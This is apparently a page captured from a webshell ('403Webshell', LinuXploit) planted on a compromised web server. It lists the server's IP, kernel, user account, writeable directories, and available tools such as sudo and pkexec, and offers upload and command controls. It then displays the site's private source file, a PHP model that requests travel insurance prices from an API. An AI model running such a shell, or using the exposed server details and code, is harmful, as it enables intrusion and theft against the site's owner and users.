403Webshell
Server IP : 95.46.96.79  /  Your IP : 216.73.216.4
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux zaimer.uz 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : akslabs_uz_usr ( 1001)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/sugurtatrip__usr95/data/www/sugurtatrip.uz/api/src/Models/Kapital/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/sugurtatrip__usr95/data/www/sugurtatrip.uz/api/src/Models/Kapital/KapitalPriceModel.php
<?php
namespace Kapital;

use Core\HttpClient;

class KapitalPriceModel {

    private $base_url;
    private $api_username;
    private $api_password;
    private $start_date;
    private $end_date;
    private $day;
    private $program_id;
    private $activity_id;
    private $group_id;
    private $type_id;
    private $multi_id;
    private $date_reg;
    private $date_births;
    private $countries;
    private $total_days;

    public function __construct(
        $start_date = null,
        $end_date = null,
        $day = 1,
        $program_id = 0,
        $activity_id = 0,
        $group_id = 0,
        $type_id = 0,
        $multi_id = 0,
        $date_reg = null,
        $date_births = [],
        $countries = []
    ) {
        $this->setStartDate($start_date ?? (new \DateTime())->format('d.m.Y'));
        $this->setEndDate($end_date ?? (new \DateTime('tomorrow'))->format('d.m.Y'));
        $this->setProgramId($program_id);
        $this->setActivityId($activity_id);
        $this->setGroupId($group_id);
        $this->setTypeId($type_id);
        $this->setMultiId($multi_id);
        $this->setDateReg($date_reg ?? (new \DateTime())->format('d.m.Y'));
        $this->setDateBirths($date_births);
        $this->setCountries($countries);
        $this->total_days = $this->calculateTotalDays($this->start_date, $this->end_date);

        $this->base_url = $_ENV['KAPITAL_API_URL'];
        $this->api_username = $_ENV['KAPITAL_USERNAME'];
        $this->api_password = $_ENV['KAPITAL_PASSWORD'];
    }

    public function setStartDate($start_date) {
        if ($this->validateDate($start_date)) {
            $this->start_date = $start_date;
        } else {
            throw new \Exception("Invalid start_date format");
        }
    }

    public function setEndDate($end_date) {
        if ($this->validateDate($end_date)) {
            $this->end_date = $end_date;
        } else {
            throw new \Exception("Invalid end_date format");
        }
    }

    public function setProgramId($program_id) {
        if (is_int($program_id)) {
            $this->program_id = $program_id;
        } else {
            throw new \Exception("Invalid program_id format");
        }
    }

    public function setActivityId($activity_id) {
        if (is_int($activity_id)) {
            $this->activity_id = $activity_id;
        } else {
            throw new \Exception("Invalid activity_id format");
        }
    }

    public function setGroupId($group_id) {
        if (is_int($group_id)) {
            $this->group_id = $group_id;
        } else {
            throw new \Exception("Invalid group_id format");
        }
    }

    public function setTypeId($type_id) {
        if (is_int($type_id)) {
            $this->type_id = $type_id;
        } else {
            throw new \Exception("Invalid type_id format");
        }
    }

    public function setMultiId($multi_id) {
        if (is_int($multi_id)) {
            $this->multi_id = $multi_id;
        } else {
            throw new \Exception("Invalid multi_id format");
        }
    }

    public function setDateReg($date_reg) {
        if ($this->validateDate($date_reg)) {
            $this->date_reg = $date_reg;
        } else {
            throw new \Exception("Invalid date_reg format");
        }
    }

    public function setDateBirths($date_births) {
        if (is_array($date_births)) {
            $this->date_births = $date_births;
        } else {
            throw new \Exception("Dates of birth must be an array");
        }
    }

    public function setCountries($countries) {
        if (is_array($countries)) {
            $this->countries = $countries;
        } else {
            throw new \Exception("Countries must be an array");
        }
    }

    private function validateDate($date) {
        $d = \DateTime::createFromFormat('d.m.Y', $date);
        return $d && $d->format('d.m.Y') === $date;
    }

    public function getStartDate() {
        return $this->start_date;
    }

    public function getEndDate() {
        return $this->end_date;
    }

    public function getDay() {
        return $this->day;
    }

    public function getActivityId() {
        return $this->activity_id;
    }

    public function getTypeId() {
        return $this->type_id;
    }

    public function getCountries() {
        return $this->countries;
    }

    public function getMultiId() {
        return $this->multi_id;
    }

    public function getDateReg() {
        return $this->date_reg;
    }

    public function getDateBirths() {
        return $this->date_births;
    }

    public function getProgramId() {
        return $this->program_id;
    }

    public function getGroupId() {
        return $this->group_id;
    }

    public function calculateTotalDays($start_date, $end_date) {
        $start = \DateTime::createFromFormat('d.m.Y', $start_date);
        $end = \DateTime::createFromFormat('d.m.Y', $end_date);
        
        if (!$start || !$end) {
            throw new \Exception("Invalid date format. Dates should be in 'd.m.Y' format.");
        }
    
        $interval = $start->diff($end);
        return $interval->days + 1; // Including the start date
    }

    public function initialRequest() {
        $url = $this->base_url . KapitalEndpoints::INIT;
        $data = [
            'day' => $this->total_days,
            'program_id' => $this->program_id,
            'activity_id' => $this->activity_id,
            'group_id' => $this->group_id,
            'type_id' => $this->type_id,
            'multi_id' => $this->multi_id,
            'data_reg' => $this->date_reg,
        ];

        $result = HttpClient::postWithAuth($url, $data, $this->api_username, $this->api_password);

        return $result;
    }

    public function total() {
        $url = $this->base_url . KapitalEndpoints::TOTAL;
        $data = [
            'day' => $this->total_days,
            'program_id' => $this->program_id,
            'activity_id' => $this->activity_id,
            'group_id' => $this->group_id,
            'type_id' => $this->type_id,
            'multi_id' => $this->multi_id,
            'data_reg' => $this->date_reg,
            'date_births' => $this->date_births,
        ];

        $result = HttpClient::postWithAuth($url, $data, $this->api_username, $this->api_password);

        return $result;
    }

    public function totalWithCountry() {
        $url = $this->base_url . KapitalEndpoints::TOTAL_WITH_COUNTRY;
        $data = [
            'day' => $this->total_days,
            'program_id' => $this->program_id,
            'activity_id' => $this->activity_id,
            'group_id' => $this->group_id,
            'type_id' => $this->type_id,
            'multi_id' => $this->multi_id,
            'data_reg' => $this->date_reg,
            'date_births' => $this->date_births,
            'countries' => $this->countries,
        ];

        $result = HttpClient::postWithAuth($url, $data, $this->api_username, $this->api_password);

        return $result;
    }

    public function create() {
        
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit